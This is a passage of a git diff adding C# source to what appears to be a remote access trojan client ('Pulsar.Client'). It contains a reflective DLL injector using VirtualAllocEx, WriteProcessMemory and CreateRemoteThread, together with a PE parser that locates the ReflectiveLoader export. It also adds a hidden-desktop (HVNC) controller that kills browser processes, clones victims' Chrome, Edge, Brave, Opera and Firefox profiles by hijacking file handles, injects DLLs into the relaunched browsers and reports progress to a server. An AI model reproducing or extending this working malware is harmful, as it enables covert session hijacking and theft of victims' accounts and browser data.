0x40, + PAGE_READWRITE = 0x04 + } + + public static bool InjectDll(int processId, byte[] dllBuffer) + { + IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, processId); + if (hProcess == IntPtr.Zero) + { + Debug.WriteLine($"[-] Failed to open target process. Error={Marshal.GetLastWin32Error()}"); + return false; + } + + try + { + IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer); + if (hThread == IntPtr.Zero) + { + Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}"); + return false; + } + + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + return true; + } + finally + { + CloseHandle(hProcess); + } + } + + public static bool InjectDllWithHandle(IntPtr hProcess, byte[] dllBuffer) + { + if (hProcess == IntPtr.Zero || dllBuffer == null || dllBuffer.Length == 0) + { + Debug.WriteLine("[-] Invalid parameters for injection"); + return false; + } + + IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer); + if (hThread == IntPtr.Zero) + { + Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}"); + return false; + } + + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + return true; + } + + private static IntPtr LoadRemoteLibraryR(IntPtr hProcess, byte[] buffer) + { + try + { + if (hProcess == IntPtr.Zero || buffer == null || buffer.Length == 0) + return IntPtr.Zero; + + uint reflectiveLoaderOffset = PEParser.GetReflectiveLoaderOffset(buffer); + if (reflectiveLoaderOffset == 0) + { + Debug.WriteLine("[-] Failed to find ReflectiveLoader in DLL"); + return IntPtr.Zero; + } + + IntPtr lpRemoteLibraryBuffer = VirtualAllocEx( + hProcess, + IntPtr.Zero, + (uint)buffer.Length, + AllocationType.MEM_RESERVE | AllocationType.MEM_COMMIT, + MemoryProtection.PAGE_EXECUTE_READWRITE); + + if (lpRemoteLibraryBuffer == IntPtr.Zero) + { + Debug.WriteLine("[-] Failed to allocate memory in remote process"); + return IntPtr.Zero; + } + + IntPtr bytesWritten; + if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, buffer, (uint)buffer.Length, out bytesWritten)) + { + Debug.WriteLine("[-] Failed to write DLL to remote process"); + return IntPtr.Zero; + } + + IntPtr lpReflectiveLoader = IntPtr.Add(lpRemoteLibraryBuffer, (int)reflectiveLoaderOffset); + + IntPtr threadId; + IntPtr hThread = CreateRemoteThread( + hProcess, + IntPtr.Zero, + 1024 * 1024, + lpReflectiveLoader, + IntPtr.Zero, + 0, + out threadId); + + return hThread; + } + catch (Exception ex) + { + Debug.WriteLine($"[-] Exception in LoadRemoteLibraryR: {ex.Message}"); + return IntPtr.Zero; + } + } + } + + /// + /// Parses PE (Portable Executable) file format + /// + internal static class PEParser + { + #region PE Structures + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_DOS_HEADER + { + public ushort e_magic; + public ushort e_cblp; + public ushort e_cp; + public ushort e_crlc; + public ushort e_cparhdr; + public ushort e_minalloc; + public ushort e_maxalloc; + public ushort e_ss; + public ushort e_sp; + public ushort e_csum; + public ushort e_ip; + public ushort e_cs; + public ushort e_lfarlc; + public ushort e_ovno; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] + public ushort[] e_res; + + public ushort e_oemid; + public ushort e_oeminfo; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] + public ushort[] e_res2; + + public int e_lfanew; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_FILE_HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public uint TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_DATA_DIRECTORY + { + public uint VirtualAddress; + public uint Size; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_OPTIONAL_HEADER32 + { + public ushort Magic; + public byte MajorLinkerVersion; + public byte MinorLinkerVersion; + public uint SizeOfCode; + public uint SizeOfInitializedData; + public uint SizeOfUninitializedData; + public uint AddressOfEntryPoint; + public uint BaseOfCode; + public uint BaseOfData; + public uint ImageBase; + public uint SectionAlignment; + public uint FileAlignment; + public ushort MajorOperatingSystemVersion; + public ushort MinorOperatingSystemVersion; + public ushort MajorImageVersion; + public ushort MinorImageVersion; + public ushort MajorSubsystemVersion; + public ushort MinorSubsystemVersion; + public uint Win32VersionValue; + public uint SizeOfImage; + public uint SizeOfHeaders; + public uint CheckSum; + public ushort Subsystem; + public ushort DllCharacteristics; + public uint SizeOfStackReserve; + public uint SizeOfStackCommit; + public uint SizeOfHeapReserve; + public uint SizeOfHeapCommit; + public uint LoaderFlags; + public uint NumberOfRvaAndSizes; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public IMAGE_DATA_DIRECTORY[] DataDirectory; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_OPTIONAL_HEADER64 + { + public ushort Magic; + public byte MajorLinkerVersion; + public byte MinorLinkerVersion; + public uint SizeOfCode; + public uint SizeOfInitializedData; + public uint SizeOfUninitializedData; + public uint AddressOfEntryPoint; + public uint BaseOfCode; + public ulong ImageBase; + public uint SectionAlignment; + public uint FileAlignment; + public ushort MajorOperatingSystemVersion; + public ushort MinorOperatingSystemVersion; + public ushort MajorImageVersion; + public ushort MinorImageVersion; + public ushort MajorSubsystemVersion; + public ushort MinorSubsystemVersion; + public uint Win32VersionValue; + public uint SizeOfImage; + public uint SizeOfHeaders; + public uint CheckSum; + public ushort Subsystem; + public ushort DllCharacteristics; + public ulong SizeOfStackReserve; + public ulong SizeOfStackCommit; + public ulong SizeOfHeapReserve; + public ulong SizeOfHeapCommit; + public uint LoaderFlags; + public uint NumberOfRvaAndSizes; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public IMAGE_DATA_DIRECTORY[] DataDirectory; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_SECTION_HEADER + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public byte[] Name; + + public uint VirtualSize; + public uint VirtualAddress; + public uint SizeOfRawData; + public uint PointerToRawData; + public uint PointerToRelocations; + public uint PointerToLinenumbers; + public ushort NumberOfRelocations; + public ushort NumberOfLinenumbers; + public uint Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_EXPORT_DIRECTORY + { + public uint Characteristics; + public uint TimeDateStamp; + public ushort MajorVersion; + public ushort MinorVersion; + public uint Name; + public uint Base; + public uint NumberOfFunctions; + public uint NumberOfNames; + public uint AddressOfFunctions; + public uint AddressOfNames; + public uint AddressOfNameOrdinals; + } + + private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0; + private const ushort IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b; + private const ushort IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b; + + #endregion PE Structures + + public static uint GetReflectiveLoaderOffset(byte[] buffer) + { + try + { + int baseAddress = 0; + + IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure(buffer, 0); + + int ntHeadersOffset = baseAddress + dosHeader.e_lfanew; + + uint signature = BitConverter.ToUInt32(buffer, ntHeadersOffset); + if (signature != 0x00004550) // "PE\0\0" + return 0; + + IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure(buffer, ntHeadersOffset + 4); + + int optionalHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)); + ushort magic = BitConverter.ToUInt16(buffer, optionalHeaderOffset); + + uint exportDirRva; + + if (magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32 + { + if (IntPtr.Size != 4) + return 0; + + IMAGE_OPTIONAL_HEADER32 optHeader = ByteArrayToStructure(buffer, optionalHeaderOffset); + exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + } + else if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64 + { + if (IntPtr.Size != 8) + return 0; + + IMAGE_OPTIONAL_HEADER64 optHeader = ByteArrayToStructure(buffer, optionalHeaderOffset); + exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + } + else + { + return 0; + } + + if (exportDirRva == 0) + return 0; + + uint exportDirOffset = Rva2Offset(exportDirRva, buffer, baseAddress); + if (exportDirOffset == 0) + return 0; + + IMAGE_EXPORT_DIRECTORY exportDir = ByteArrayToStructure(buffer, (int)exportDirOffset); + + uint nameArrayOffset = Rva2Offset(exportDir.AddressOfNames, buffer, baseAddress); + uint addressArrayOffset = Rva2Offset(exportDir.AddressOfFunctions, buffer, baseAddress); + uint nameOrdinalsOffset = Rva2Offset(exportDir.AddressOfNameOrdinals, buffer, baseAddress); + + for (uint i = 0; i < exportDir.NumberOfNames; i++) + { + uint nameRva = BitConverter.ToUInt32(buffer, (int)(nameArrayOffset + i * 4)); + uint nameOffset = Rva2Offset(nameRva, buffer, baseAddress); + + string functionName = ReadNullTerminatedString(buffer, (int)nameOffset); + + if (functionName.Contains("ReflectiveLoader")) + { + ushort ordinal = BitConverter.ToUInt16(buffer, (int)(nameOrdinalsOffset + i * 2)); + uint functionRva = BitConverter.ToUInt32(buffer, (int)(addressArrayOffset + ordinal * 4)); + return Rva2Offset(functionRva, buffer, baseAddress); + } + } + } + catch + { + return 0; + } + + return 0; + } + + private static uint Rva2Offset(uint dwRva, byte[] buffer, int baseAddress) + { + IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure(buffer, 0); + int ntHeadersOffset = baseAddress + dosHeader.e_lfanew; + + IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure(buffer, ntHeadersOffset + 4); + int sectionHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader; + + IMAGE_SECTION_HEADER firstSection = ByteArrayToStructure(buffer, sectionHeaderOffset); + + if (dwRva < firstSection.PointerToRawData) + return dwRva; + + for (int i = 0; i < fileHeader.NumberOfSections; i++) + { + IMAGE_SECTION_HEADER section = ByteArrayToStructure(buffer, sectionHeaderOffset + i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); + + if (dwRva >= section.VirtualAddress && dwRva < section.VirtualAddress + section.SizeOfRawData) + { + return dwRva - section.VirtualAddress + section.PointerToRawData; + } + } + + return 0; + } + + private static T ByteArrayToStructure(byte[] bytes, int offset) where T : struct + { + int size = Marshal.SizeOf(typeof(T)); + IntPtr ptr = Marshal.AllocHGlobal(size); + try + { + Marshal.Copy(bytes, offset, ptr, size); + return (T)Marshal.PtrToStructure(ptr, typeof(T)); + } + finally + { + Marshal.FreeHGlobal(ptr); + } + } + + private static string ReadNullTerminatedString(byte[] buffer, int offset) + { + int length = 0; + while (offset + length < buffer.Length && buffer[offset + length] != 0) + { + length++; + } + return Encoding.ASCII.GetString(buffer, offset, length); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/HVNC/ProcessController.cs b/Pulsar.Client/Helper/HVNC/ProcessController.cs new file mode 100644 index 0000000..92068de --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/ProcessController.cs @@ -0,0 +1,870 @@ +ο»Ώusing Microsoft.Win32; +using Pulsar.Client.Helper.HVNC.Chromium; +using Pulsar.Client.LoggingAPI; +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using System.Threading.Tasks; + +namespace Pulsar.Client.Helper.HVNC +{ + public class ProcessController + { + public ProcessController(string DesktopName) + { + this.DesktopName = DesktopName; + } + + [DllImport("kernel32.dll")] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + private const uint WAIT_OBJECT_0 = 0x00000000; + private const uint WAIT_TIMEOUT = 0x00000102; + private const uint INFINITE = 0xFFFFFFFF; + private const int STARTF_USEPOSITION = 0x00000004; + + private readonly struct CloneResult + { + public CloneResult(bool success, bool cancelled, string destination) + { + Success = success; + Cancelled = cancelled; + Destination = destination ?? string.Empty; + } + + public bool Success { get; } + + public bool Cancelled { get; } + + public string Destination { get; } + } + + private static bool DeleteFolder(string folderPath) + { + bool result; + try + { + if (Directory.Exists(folderPath)) + { + Directory.Delete(folderPath, true); + result = true; + } + else + { + Debug.WriteLine("Folder does not exist."); + result = false; + } + } + catch (Exception ex) + { + Debug.WriteLine("Error deleting folder: " + ex.Message); + result = false; + } + return result; + } + + private void CleanupCancelledClone(string destinationDir) + { + if (string.IsNullOrWhiteSpace(destinationDir)) + { + return; + } + + try + { + if (Directory.Exists(destinationDir)) + { + Debug.WriteLine($"[BrowserClone] Cleaning up cancelled clone at '{destinationDir}'"); + DeleteFolder(destinationDir); + } + } + catch (Exception cleanupEx) + { + Debug.WriteLine($"[BrowserClone] Cleanup failed for '{destinationDir}': {cleanupEx.Message}"); + } + } + + public void StartCmd() + { + string path = "conhost cmd.exe"; + this.CreateProc(path); + } + + public void StartPowershell() + { + string path = "conhost powershell.exe"; + this.CreateProc(path); + } + + public void StartGeneric(string path) + { + string command = "conhost " + path; + this.CreateProc(command); + } + + public async Task StartFirefoxAsync() + { + BrowserCloneProgressSession progressSession = null; + Task completionTask = Task.CompletedTask; + bool cloneSucceeded = false; + bool cloneCancelled = false; + + try + { + string basePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Mozilla", "Firefox"); + + if (!Directory.Exists(basePath)) + { + Debug.WriteLine("Firefox base directory not found."); + return; + } + + string sourceDir = Path.Combine(basePath, "Profiles"); + if (!Directory.Exists(sourceDir)) + { + Debug.WriteLine("Firefox profiles directory not found."); + return; + } + + string destination = Path.Combine(basePath, "fudasf"); + if (Directory.Exists(destination)) + { + DeleteFolder(destination); + } + + progressSession = await BrowserCloneProgressSession.TryCreateAsync("Firefox").ConfigureAwait(false); + progressSession?.ReportPreparing(); + + CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None; + + try + { + cloneSucceeded = await Task.Run(() => HandleHijacker.ForceCopyDirectory(sourceDir, destination, killIfFailed: false, progressSession?.Progress, cancellationToken)).ConfigureAwait(false); + } + catch (OperationCanceledException) + { + cloneCancelled = true; + CleanupCancelledClone(destination); + } + + if (cloneCancelled) + { + Debug.WriteLine("Firefox profile cloning cancelled by user – skipping launch."); + } + else if (cloneSucceeded) + { + Debug.WriteLine("Firefox profile cloned successfully."); + } + else + { + Debug.WriteLine("Firefox profile cloning reported partial success; some files may be locked."); + } + + bool completedSuccessfully = cloneSucceeded && !cloneCancelled; + completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask; + + if (cloneCancelled) + { + return; + } + + string startCommand = $"Conhost --headless cmd.exe /c start firefox --profile=\"{destination}\""; + CreateProc(startCommand); + } + catch (OperationCanceledException) + { + completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask; + cloneCancelled = true; + Debug.WriteLine("Firefox profile cloning cancelled by user."); + } + catch (Exception ex) + { + completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask; + Debug.WriteLine("Error starting Firefox: " + ex.Message); + } + finally + { + await completionTask.ConfigureAwait(false); + progressSession?.Dispose(); + } + } + + public async Task StartBraveAsync(byte[] dllbytes) + { + try + { + var braveConfig = BrowserConfiguration.GetConfig("Brave"); + if (braveConfig == null || !BrowserConfiguration.ValidateConfig(braveConfig)) + { + Debug.WriteLine("Brave executable not found."); + return; + } + + Debug.WriteLine($"Found Brave at: {braveConfig.ExecutablePath}"); + + var cloneResult = await CloneBrowserProfileAsync(braveConfig.SearchPattern, braveConfig.ReplacementPath, "Brave").ConfigureAwait(false); + if (cloneResult.Cancelled) + { + Debug.WriteLine("Brave profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + await Task.Run(() => KDOTInjector.Start(dllbytes, braveConfig.ExecutablePath, braveConfig.SearchPattern, braveConfig.ReplacementPath)).ConfigureAwait(false); + Debug.WriteLine("Brave started successfully with reflective DLL injection."); + } + catch (Exception injectionEx) + { + Debug.WriteLine($"Error during Brave DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + Debug.WriteLine("Brave profile cloning cancelled by user."); + } + catch (Exception ex) + { + Debug.WriteLine("Error starting Brave: " + ex.Message); + } + } + + public async Task StartOperaAsync(byte[] dllbytes) + { + try + { + var operaConfig = BrowserConfiguration.GetConfig("Opera"); + if (operaConfig == null || !BrowserConfiguration.ValidateConfig(operaConfig)) + { + Debug.WriteLine("Opera executable not found."); + return; + } + + Debug.WriteLine($"Found Opera at: {operaConfig.ExecutablePath}"); + + var cloneResult = await CloneBrowserProfileAsync(operaConfig.SearchPattern, operaConfig.ReplacementPath, "Opera").ConfigureAwait(false); + if (cloneResult.Cancelled) + { + Debug.WriteLine("Opera profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaConfig.ExecutablePath, operaConfig.SearchPattern, operaConfig.ReplacementPath)).ConfigureAwait(false); + if (processId > 0) + { + Debug.WriteLine("Opera started successfully with reflective DLL injection."); + + await Task.Delay(2000).ConfigureAwait(false); + _ = Task.Run(async () => + { + try + { + await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false); + } + catch (Exception patchEx) + { + Debug.WriteLine($"Opera patcher error: {patchEx.Message}"); + } + }); + } + else + { + Debug.WriteLine("Failed to start Opera process."); + } + } + catch (Exception injectionEx) + { + Debug.WriteLine($"Error during Opera DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + Debug.WriteLine("Opera profile cloning cancelled by user."); + } + catch (Exception ex) + { + Debug.WriteLine("Error starting Opera: " + ex.Message); + } + } + + public async Task StartOperaGXAsync(byte[] dllbytes) + { + try + { + var operaGXConfig = BrowserConfiguration.GetConfig("OperaGX"); + if (operaGXConfig == null || !BrowserConfiguration.ValidateConfig(operaGXConfig)) + { + Debug.WriteLine("OperaGX executable not found."); + return; + } + + Debug.WriteLine($"Found OperaGX at: {operaGXConfig.ExecutablePath}"); + + var cloneResult = await CloneBrowserProfileAsync(operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath, "Opera GX").ConfigureAwait(false); + if (cloneResult.Cancelled) + { + Debug.WriteLine("OperaGX profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaGXConfig.ExecutablePath, operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath)).ConfigureAwait(false); + if (processId > 0) + { + Debug.WriteLine("OperaGX started successfully with reflective DLL injection."); + + await Task.Delay(2000).ConfigureAwait(false); + _ = Task.Run(async () => + { + try + { + await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false); + } + catch (Exception patchEx) + { + Debug.WriteLine($"OperaGX patcher error: {patchEx.Message}"); + } + }); + } + else + { + Debug.WriteLine("Failed to start OperaGX process."); + } + } + catch (Exception injectionEx) + { + Debug.WriteLine($"Error during OperaGX DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + Debug.WriteLine("OperaGX profile cloning cancelled by user."); + } + catch (Exception ex) + { + Debug.WriteLine("Error starting OperaGX: " + ex.Message); + } + } + + public async Task StartEdgeAsync(byte[] dllbytes) + { + try + { + var edgeConfig = BrowserConfiguration.GetConfig("Edge"); + if (edgeConfig == null || !BrowserConfiguration.ValidateConfig(edgeConfig)) + { + Debug.WriteLine("Edge executable not found."); + return; + } + + Debug.WriteLine($"Found Edge at: {edgeConfig.ExecutablePath}"); + + var cloneResult = await CloneBrowserProfileAsync(edgeConfig.SearchPattern, edgeConfig.ReplacementPath, "Edge").ConfigureAwait(false); + if (cloneResult.Cancelled) + { + Debug.WriteLine("Edge profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + await Task.Run(() => KDOTInjector.Start(dllbytes, edgeConfig.ExecutablePath, edgeConfig.SearchPattern, edgeConfig.ReplacementPath)).ConfigureAwait(false); + Debug.WriteLine("Edge started successfully with reflective DLL injection."); + } + catch (Exception injectionEx) + { + Debug.WriteLine($"Error during Edge DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + Debug.WriteLine("Edge profile cloning cancelled by user."); + } + catch (Exception ex) + { + Debug.WriteLine("Error starting Edge: " + ex.Message); + } + } + + public async Task StartChromeAsync(byte[] dllbytes) + { + try + { + var chromeConfig = BrowserConfiguration.GetChromeConfig(); + if (chromeConfig == null) + { + UniversalDebugLogger.SendLogToServer("Chrome executable not found."); + return; + } + + UniversalDebugLogger.SendLogToServer($"Found Chrome at: {chromeConfig.ExecutablePath}"); + + var cloneResult = await CloneBrowserProfileAsync(chromeConfig.SearchPattern, chromeConfig.ReplacementPath, "Chrome").ConfigureAwait(false); + if (cloneResult.Cancelled) + { + UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + await Task.Run(() => KDOTInjector.Start(dllbytes, chromeConfig.ExecutablePath, chromeConfig.SearchPattern, chromeConfig.ReplacementPath)).ConfigureAwait(false); + UniversalDebugLogger.SendLogToServer("Chrome started successfully with reflective DLL injection."); + } + catch (Exception injectionEx) + { + UniversalDebugLogger.SendLogToServer($"Error during DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user."); + } + catch (Exception ex) + { + UniversalDebugLogger.SendLogToServer("Error starting Chrome: " + ex.Message); + } + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint ResumeThread(IntPtr hThread); + + /// + /// Generic method to start any browser by type with reflective DLL injection. + /// + /// Type of browser (Chrome, Edge, Brave, Opera, OperaGX) + /// DLL bytes to inject + public async Task StartBrowserAsync(string browserType, byte[] dllbytes) + { + try + { + if (browserType.Equals("Chrome", StringComparison.OrdinalIgnoreCase)) + { + await StartChromeAsync(dllbytes).ConfigureAwait(false); + return; + } + + var config = BrowserConfiguration.GetConfig(browserType); + if (config == null || !BrowserConfiguration.ValidateConfig(config)) + { + Debug.WriteLine($"{browserType} executable not found."); + return; + } + + Debug.WriteLine($"Found {browserType} at: {config.ExecutablePath}"); + + string processName = Path.GetFileNameWithoutExtension(config.ExecutablePath).ToLower(); + string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F"; + + STARTUPINFO startupInfo = default(STARTUPINFO); + startupInfo.cb = Marshal.SizeOf(startupInfo); + startupInfo.lpDesktop = this.DesktopName; + startupInfo.dwX = 0; + startupInfo.dwY = 0; + startupInfo.dwFlags = STARTF_USEPOSITION; + PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION); + + if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo)) + { + Debug.WriteLine($"Waiting for {browserType} processes to terminate..."); + WaitForProcessCompletion(processInfo, 5000); + } + else + { + Debug.WriteLine("Failed to create taskkill process, using fallback delay."); + await Task.Delay(500).ConfigureAwait(false); + } + + var cloneResult = await CloneBrowserProfileAsync(config.SearchPattern, config.ReplacementPath, browserType).ConfigureAwait(false); + if (cloneResult.Cancelled) + { + Debug.WriteLine($"{browserType} profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, config.ExecutablePath, config.SearchPattern, config.ReplacementPath)).ConfigureAwait(false); + if (processId > 0) + { + Debug.WriteLine($"{browserType} started successfully with reflective DLL injection."); + + if (browserType.Equals("Opera", StringComparison.OrdinalIgnoreCase) || + browserType.Equals("OperaGX", StringComparison.OrdinalIgnoreCase)) + { + await Task.Delay(2000).ConfigureAwait(false); + _ = Task.Run(async () => + { + try + { + await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false); + } + catch (Exception patchEx) + { + Debug.WriteLine($"{browserType} patcher error: {patchEx.Message}"); + } + }); + } + } + else + { + Debug.WriteLine($"Failed to start {browserType} process."); + } + } + catch (Exception injectionEx) + { + Debug.WriteLine($"Error during {browserType} DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + Debug.WriteLine($"{browserType} profile cloning cancelled by user."); + } + catch (Exception ex) + { + Debug.WriteLine($"Error starting {browserType}: {ex.Message}"); + } + } + + public bool CreateProc(string filePath) + { + STARTUPINFO structure = default(STARTUPINFO); + structure.cb = Marshal.SizeOf(structure); + structure.lpDesktop = this.DesktopName; + // try setting position to 0,0 + structure.dwX = 0; + structure.dwY = 0; + structure.dwFlags = STARTF_USEPOSITION; + PROCESS_INFORMATION process_INFORMATION = default(PROCESS_INFORMATION); + return CreateProcess(null, filePath, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION); + } + + public void StartDiscord() + { + string discordPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Discord\\Update.exe"; + if (!File.Exists(discordPath)) return; + + string killCommand = "Conhost --headless cmd.exe /c taskkill /IM discord.exe /F"; + this.CreateProc(killCommand); + Thread.Sleep(1000); + string startCommand = "\"" + discordPath + "\" --processStart Discord.exe"; + this.CreateProc(startCommand); + } + + public void StartExplorer() + { + uint num = 2U; + string name = "TaskbarGlomLevel"; + string name2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"; + using (RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(name2, true)) + { + if (registryKey != null) + { + object value = registryKey.GetValue(name); + if (value is uint) + { + uint num2 = (uint)value; + if (num2 != num) + { + registryKey.SetValue(name, num, RegistryValueKind.DWord); + } + } + } + } + string explorerPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe /NoUACCheck"; + this.CreateProc(explorerPath); + } + + /// + /// Clones browser profile from SearchPattern to ReplacementPath. + /// Executes on a background thread to avoid blocking message processing. + /// + /// Relative path pattern (e.g., "Local\Google\Chrome\User Data") + /// Relative path for destination (e.g., "Local\Google\Chrome\KDOT") + private async Task CloneBrowserProfileAsync(string searchPattern, string replacementPath, string browserName = null) + { + BrowserCloneProgressSession progressSession = null; + Task completionTask = Task.CompletedTask; + CloneResult cloneResult = default; + + try + { + progressSession = await BrowserCloneProgressSession.TryCreateAsync(browserName).ConfigureAwait(false); + progressSession?.ReportPreparing(); + + CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None; + + cloneResult = await Task.Run(() => CloneBrowserProfileInternal( + searchPattern, + replacementPath, + cancellationToken, + progressSession?.Progress)).ConfigureAwait(false); + + bool completedSuccessfully = cloneResult.Success && !cloneResult.Cancelled; + completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask; + + return cloneResult; + } + catch + { + completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask; + throw; + } + finally + { + await completionTask.ConfigureAwait(false); + progressSession?.Dispose(); + } + } + + private CloneResult CloneBrowserProfileInternal( + string searchPattern, + string replacementPath, + CancellationToken cancellationToken, + IProgress progress) + { + string localSearch = searchPattern; + string localReplacement = replacementPath; + + string baseDir; + if (localSearch.StartsWith("Local\\", StringComparison.OrdinalIgnoreCase)) + { + baseDir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + localSearch = localSearch.Substring(6); + localReplacement = localReplacement.Substring(6); + } + else if (localSearch.StartsWith("Roaming\\", StringComparison.OrdinalIgnoreCase)) + { + baseDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + localSearch = localSearch.Substring(8); + localReplacement = localReplacement.Substring(8); + } + else + { + Debug.WriteLine($"Invalid search pattern format: {localSearch}"); + return new CloneResult(false, false, string.Empty); + } + + string sourceDir = Path.Combine(baseDir, localSearch); + string destDir = Path.Combine(baseDir, localReplacement); + + try + { + cancellationToken.ThrowIfCancellationRequested(); + + UniversalDebugLogger.SendLogToServer($"Cloning browser profile from '{sourceDir}' to '{destDir}'"); + + if (!Directory.Exists(sourceDir)) + { + UniversalDebugLogger.SendLogToServer($"Source directory does not exist: {sourceDir}"); + return new CloneResult(false, false, destDir); + } + + if (Directory.Exists(destDir)) + { + UniversalDebugLogger.SendLogToServer($"Removing existing destination directory: {destDir}"); + DeleteFolder(destDir); + } + + cancellationToken.ThrowIfCancellationRequested(); + + UniversalDebugLogger.SendLogToServer("[BrowserClone] Using handle hijacking for locked files..."); + bool success = HandleHijacker.ForceCopyDirectory( + sourceDir, + destDir, + killIfFailed: false, + progress, + cancellationToken); + + if (success) + { + UniversalDebugLogger.SendLogToServer("[BrowserClone] Browser profile cloned successfully with handle hijacking."); + } + else + { + UniversalDebugLogger.SendLogToServer("[BrowserClone] Handle hijacking partial success, some files may be skipped."); + } + + return new CloneResult(success, false, destDir); + } + catch (OperationCanceledException) + { + UniversalDebugLogger.SendLogToServer("[BrowserClone] Operation cancelled by user."); + CleanupCancelledClone(destDir); + return new CloneResult(false, true, destDir); + } + catch (Exception ex) + { + UniversalDebugLogger.SendLogToServer($"Error cloning browser profile: {ex.Message}"); + CleanupCancelledClone(destDir); + throw; + } + } + + /// + /// Waits for a process to complete with a timeout + /// + /// Process information structure + /// Timeout in milliseconds (default 5000ms) + /// True if process completed within 